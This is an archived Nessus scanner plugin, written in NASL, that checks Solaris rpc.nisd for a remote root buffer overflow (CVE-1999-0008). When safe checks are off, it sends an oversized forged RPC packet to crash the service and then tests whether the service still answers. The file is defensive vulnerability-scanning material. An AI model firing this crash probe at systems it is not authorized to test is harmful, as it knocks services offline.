home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / nisd_overflow.nasl < prev    next >
Text File  |  2005-01-14  |  3KB  |  116 lines

  1. #
  2. # This script is released under the GPL
  3. #
  4.  
  5. if(description)
  6. {
  7.  script_id(10251);
  8.  script_bugtraq_id(104);
  9.  script_version ("$Revision: 1.6 $");
  10.  script_cve_id("CVE-1999-0008");
  11.  
  12.  name["english"] = "rpc.nisd overflow";
  13.  
  14.  script_name(english:name["english"]);
  15.  
  16.  desc["english"] = "
  17. The remote RPC service 100300 (nisd) is vulnerable
  18. to a buffer overflow which allows any user to obtain a root
  19. shell on this host.
  20.  
  21. Solution : disable this service if you don't use it, or apply the relevant patch
  22. Risk factor : High";
  23.  
  24.  script_description(english:desc["english"]);
  25.  
  26.  summary["english"] = "buffer overflow through rpc.nisd";
  27.  script_summary(english:summary["english"]);
  28.  
  29.  script_category(ACT_MIXED_ATTACK); # mixed
  30.  
  31.  script_copyright(english:"This script is Copyright (C) 2002 Renaud Deraison");
  32.  family["english"] = "Gain root remotely";
  33.  family["francais"] = "Passer root α distance";
  34.  script_family(english:family["english"], francais:family["francais"]);
  35.  if ( !defined_func("bn_random") ) 
  36.      script_dependencies("rpc_portmap.nasl");
  37.  else
  38.      script_dependencies("rpc_portmap.nasl", "solaris26_105401.nasl", "solaris26_x86_105402.nasl");
  39.  script_require_keys("rpc/portmap");
  40.  
  41.  exit(0);
  42. }
  43.  
  44. include("misc_func.inc");
  45.  
  46. version = get_kb_item("Host/Solaris/Version");
  47. if ( version && ereg(pattern:"5\.([7-9]|10)", string:version)) exit(0);
  48. if ( get_kb_item("BID-102") ) exit(0);
  49.  
  50. function ping()
  51. {
  52.  req =  raw_string(0x3A, 0x90, 0x9C, 0x2F, 0x00, 0x00,
  53.         0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x01,
  54.     0x87, 0xCC, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00,
  55.     0x00, 0x16, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  56.     0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  57.     0x00, 0x00, 0x00, 0x00, 0x00, 0x04) + crap(4);
  58.   soc = open_sock_udp(port);
  59.   if(!soc)exit(0);
  60.   send(socket:soc, data:req);
  61.   r = recv(socket:soc, length:512);
  62.   if(r) return 1;
  63.   else return 0;
  64. }
  65.  
  66. port = get_rpc_port(program:100300, protocol:IPPROTO_UDP);
  67. if(port)
  68. {
  69.   if(safe_checks())
  70.   {
  71.   data = " 
  72. The remote RPC service 100300 (nisd) *may* be vulnerable
  73. to a buffer overflow which allows any user to obtain a root
  74. shell on this host.
  75.  
  76. *** Nessus did not actually check for this flaw, so this 
  77. *** might be a false positive
  78.  
  79. Solution : disable this service if you don't useit, or apply
  80. the relevant patch
  81. Risk factor : High";
  82.   security_hole(port:port, data:data);
  83.   exit(0);
  84.   }
  85.   
  86.   
  87.   if(get_udp_port_state(port))
  88.   {
  89.    if(ping())
  90.    {
  91.    soc = open_sock_udp(port);
  92.    if(soc)
  93.    {
  94.     #
  95.     # We forge a bogus RPC request, with a way too long
  96.     # argument. The remote process will die immediately,
  97.     # and hopefully painlessly.
  98.     #
  99.     req = raw_string(0x3A, 0x90, 0x9C, 0x2F, 0x00, 0x00,
  100.         0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x01,
  101.     0x87, 0xCC, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00,
  102.     0x00, 0x16, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  103.     0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  104.     0x00, 0x00, 0x00, 0x00, 0x09, 0x2C) + crap(3500);
  105.  
  106.  
  107.      send(socket:soc, data:req);
  108.      r = recv(socket:soc, length:4096);
  109.      close(soc);
  110.      
  111.      if(!ping())security_hole(port);
  112.    }
  113.    }
  114.  }
  115. }
  116.